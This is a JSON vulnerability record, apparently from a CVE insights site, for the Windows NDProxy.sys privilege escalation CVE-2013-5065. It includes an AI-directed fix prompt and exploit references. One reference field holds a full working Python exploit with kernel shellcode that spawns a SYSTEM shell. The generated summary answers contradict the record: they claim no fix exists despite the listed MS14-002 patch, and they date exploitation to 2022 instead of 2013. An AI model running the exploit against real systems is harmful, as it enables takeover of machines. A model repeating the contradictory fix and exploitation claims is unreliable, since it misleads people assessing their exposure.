{"answers":{"affected":"It affects 2 products.","exploited":"Yes. Attackers have exploited CVE-2013-5065 in the wild since at least 3 Mar 2022.","fix":"No fix has been published for CVE-2013-5065 yet. Limit exposure of the affected software until one is available. US federal agencies must fix it by 24 Mar 2022.","what":"CVE-2013-5065 is a high-severity vulnerability in Microsoft Windows 2003 Server, published on 27 Nov 2013. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link."},"fix_prompt":"Check this codebase for CVE-2013-5065 and fix it if it is affected.\n\nWhat it is: CVE-2013-5065 is a high-severity vulnerability in Microsoft Windows 2003 Server, published on 27 Nov 2013. It can only be exploited from the same machine or local network, and only if a user opens a file or follows a link.\nExploitation: Yes. Attackers have exploited CVE-2013-5065 in the wild since at least 3 Mar 2022.\n\nAffected product: Microsoft Windows 2003 Server. No package-level version data is available, so check the vendor advisory linked from the reference page.\n\nTask:\n1. Search the dependency manifests and lockfiles (for example package.json, package-lock.json, requirements.txt, poetry.lock, uv.lock, pom.xml, build.gradle, go.mod, Cargo.lock, Gemfile.lock) and any Dockerfiles for the affected packages, including transitive dependencies.\n2. If an affected version is in use, upgrade it to the fixed version for its release line with the project's package manager, so the lockfile is regenerated. Prefer the smallest upgrade that fixes it.\n3. If there is no fix, or the upgrade would break the build, do not guess: explain the risk and the safest workaround instead.\n4. Run the tests and summarise what changed and why.\n5. If nothing in the project is affected, say so and change nothing.\n\nReference: https://insights.sbomify.com/CVE-2013-5065/ (Markdown: https://insights.sbomify.com/CVE-2013-5065/index.md)","id":"CVE-2013-5065","markdown":"https://insights.sbomify.com/CVE-2013-5065/index.md","name":"CVE-2013-5065","record":{"aliases":["GHSA-gmpw-376j-24w5"],"analysis":{"component_type":"kernel","fix_type":"patch","impacts":["privilege_escalation"],"network_reachable":"adjacent_or_local","non_default_config":false,"product_category":"Windows kernel driver","requires_auth":"none","summary":"Local attackers can gain elevated privileges via a crafted application exploiting the NDProxy.sys kernel driver in Windows.","user_interaction":"required","vuln_class":"privilege_escalation"},"analysis_generated_by":"qwen3.8-flash-next","assigner":"microsoft","cpe":[{"product":"windows_2003_server","vendor":"microsoft"},{"product":"windows_xp","vendor":"microsoft"}],"cvss":{"score":7.8,"severity":"high","source":"cisa-adp","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","version":"3.1"},"cwes":[],"description":"NDProxy.sys in the kernel in Microsoft Windows XP SP2 and SP3 and Server 2003 SP2 allows local users to gain privileges via a crafted application, as exploited in the wild in November 2013.","ecosystems":[],"exploits":{"exploitdb":3,"first_seen":"2013-11-27","github_poc":1,"max_poc_stars":0,"metasploit":1,"nuclei":0,"refs":[{"date":"2013-11-27","kind":"metasploit","ref":"exploit/windows/local/ms_ndproxy","stars":null,"title":"MS14-002 Microsoft Windows ndproxy.sys Local Privilege Escalation"},{"date":"2013-12-03","kind":"exploitdb","ref":"30014","stars":null,"title":"Microsoft Windows - 'NDPROXY' SYSTEM Privilege Escalation (MS14-002)"},{"date":"2013-12-07T05:37:28Z","kind":"github_poc","ref":"https://github.com/Friarfukd/RobbinHood","stars":0,"title":"# NDPROXY Local SYSTEM privilege escalation # http://www.offensive-security.com # Tested on Windows XP SP3 # http://www.offensive-security.com/vulndev/ndproxy-local-system-exploit-cve-2013-5065/     # Original crash ... null pointer dereference # Access violation - code c0000005 (!!! second chance !!!) # 00000038 ??              ???   from ctypes import * from ctypes.wintypes import * import os, sys   kernel32 = windll.kernel32 ntdll = windll.ntdll   GENERIC_READ     = 0x80000000 GENERIC_WRITE    = 0x40000000 FILE_SHARE_READ  = 0x00000001 FILE_SHARE_WRITE = 0x00000002 NULL = 0x0 OPEN_EXISTING = 0x3 PROCESS_VM_WRITE            = 0x0020 PROCESS_VM_READ             = 0x0010 MEM_COMMIT                  = 0x00001000 MEM_RESERVE                 = 0x00002000 MEM_FREE                    = 0x00010000 PAGE_EXECUTE_READWRITE      = 0x00000040 PROCESS_ALL_ACCESS          = 2097151 FORMAT_MESSAGE_FROM_SYSTEM  = 0x00001000 baseadd = c_int(0x00000001) MEMRES = (0x1000 | 0x2000) MEM_DECOMMIT = 0x4000 PAGEEXE = 0x00000040 null_size = c_int(0x1000) STATUS_SUCCESS = 0   def log(msg):     print msg   def getLastError():     \"\"\"[-] Format GetLastError\"\"\"     buf = create_string_buffer(2048)     if kernel32.FormatMessageA(FORMAT_MESSAGE_FROM_SYSTEM, NULL,             kernel32.GetLastError(), 0,             buf, sizeof(buf), NULL):         log(buf.value)     else:         log(\"[-] Unknown Error\")   print \"[*] Microsoft Windows NDProxy CVE-2013-5065 0day\" print \"[*] Vulnerability found in the wild\" print \"[*] Coded by Offensive Security\"                 tmp = (\"\\x00\"*4)*5 + \"\\x25\\x01\\x03\\x07\" + \"\\x00\"*4 + \"\\x34\\x00\\x00\\x00\" + \"\\x00\"*(84-24) InBuf = c_char_p(tmp)   dwStatus = ntdll.NtAllocateVirtualMemory(0xFFFFFFFF, byref(baseadd), 0x0, byref(null_size), MEMRES, PAGEEXE) if dwStatus != STATUS_SUCCESS:     print \"[+] Something went wrong while allocating the null paged memory: %s\" % dwStatus     getLastError() written = c_ulong() sh = \"\\x90\\x33\\xC0\\x64\\x8B\\x80\\x24\\x01\\x00\\x00\\x8B\\x40\\x44\\x8B\\xC8\\x8B\\x80\\x88\\x00\\x00\\x00\\x2D\\x88\\x00\\x00\\x00\\x83\\xB8\\x84\\x00\\x00\\x00\\x04\\x75\\xEC\\x8B\\x90\\xC8\\x00\\x00\\x00\\x89\\x91\\xC8\\x00\\x00\\x00\\xC3\" sc = \"\\x90\"*0x38 + \"\\x3c\\x00\\x00\\x00\" + \"\\x90\"*4 + sh + \"\\xcc\"*(0x400-0x3c-4-len(sh)) alloc = kernel32.WriteProcessMemory(0xFFFFFFFF, 0x00000001, sc, 0x400, byref(written)) if alloc == 0:     print \"[+] Something went wrong while writing our junk to the null paged memory: %s\" % alloc     getLastError()   dwRetBytes = DWORD(0) DEVICE_NAME   = \"\\\\\\\\.\\\\NDProxy\" hdev = kernel32.CreateFileA(DEVICE_NAME, 0, 0, None, OPEN_EXISTING , 0, None) if hdev == -1:     print \"[-] Couldn't open the device... :(\"     sys.exit() kernel32.DeviceIoControl(hdev, 0x8fff23cc, InBuf, 0x54, InBuf, 0x24, byref(dwRetBytes), 0) kernel32.CloseHandle(hdev) print \"[+] Spawning SYSTEM Shell...\" os.system(\"start /d \\\"C:\\\\windows\\\\system32\\\" cmd.exe\")"},{"date":"2013-12-17","kind":"exploitdb","ref":"30392","stars":null,"title":"Microsoft Windows - 'ndproxy.sys' Local Privilege Escalation (Metasploit)"},{"date":"2015-08-07","kind":"exploitdb","ref":"37732","stars":null,"title":"Microsoft Windows XP SP3 (x86) / 2003 SP2 (x86) - 'NDProxy' Local Privilege Escalation (MS14-002)"}],"tier":"exploited"},"has_fix":null,"headline":"Microsoft Windows Kernel Privilege Escalation","id":"CVE-2013-5065","indexable":true,"kev":{"dateAdded":"2022-03-03","dueDate":"2022-03-24","knownRansomwareCampaignUse":"Unknown","product":"Windows","requiredAction":"Apply updates per vendor instructions.","vendorProject":"Microsoft","vulnerabilityName":"Microsoft Windows Kernel Privilege Escalation Vulnerability"},"kind":"cve","links":{"ecosystem":null,"product":"microsoft:windows_2003_server","products":["microsoft:windows_2003_server","microsoft:windows_xp"],"type":"privilege_escalation","year":"2013"},"n_packages":0,"n_references":4,"next":{"headline":"DO NOT USE THIS CANDIDATE NUMBER.","id":"CVE-2013-5066"},"packages":[],"prev":{"headline":"DO NOT USE THIS CANDIDATE NUMBER.","id":"CVE-2013-5064"},"products":["n/a"],"published":"2013-11-27","related":[{"cvss_score":8.8,"headline":"Microsoft Windows Video ActiveX Control Remote Code Execution","id":"CVE-2008-0015","kev_date_added":"2026-02-17","published":"2009-07-07"},{"cvss_score":7.8,"headline":"Microsoft Win32k Privilege Escalation","id":"CVE-2015-1701","kev_date_added":"2022-03-03","published":"2015-04-21"},{"cvss_score":10,"headline":"Code injection in n/a","id":"CVE-2011-1268","kev_date_added":null,"published":"2011-06-16"},{"cvss_score":10,"headline":"Memory corruption in n/a","id":"CVE-2011-1868","kev_date_added":null,"published":"2011-06-16"},{"cvss_score":10,"headline":"Memory corruption in n/a","id":"CVE-2011-0661","kev_date_added":null,"published":"2011-04-13"},{"cvss_score":10,"headline":"Integer overflow in n/a","id":"CVE-2011-0654","kev_date_added":null,"published":"2011-02-16"}],"sources":[{"class":"attribution","licence":"CVE Terms of Use (MITRE)","name":"CVE List","prefix":"CVE"},{"class":"attribution","licence":"US public information, NVD API terms","name":"NVD"},{"class":"open","licence":"CC0 1.0","name":"CISA KEV"},{"class":"attribution","licence":"FIRST CVSS licence","name":"CVSS (FIRST)"},{"class":"attribution","licence":"BSD-3-Clause","name":"Metasploit"},{"class":"attribution","licence":"GPL-2.0-or-later","name":"Exploit-DB"},{"class":"open","licence":"CC0","name":"PoC-in-GitHub"}],"ssvc":{"automatable":"no","exploitation":"active","technical_impact":"total"},"state":"PUBLISHED","updated":"2025-10-22","vendors":["n/a"]},"summary":"Local attackers can gain elevated privileges via a crafted application exploiting the NDProxy.sys kernel driver in Windows.","url":"https://insights.sbomify.com/CVE-2013-5065/"}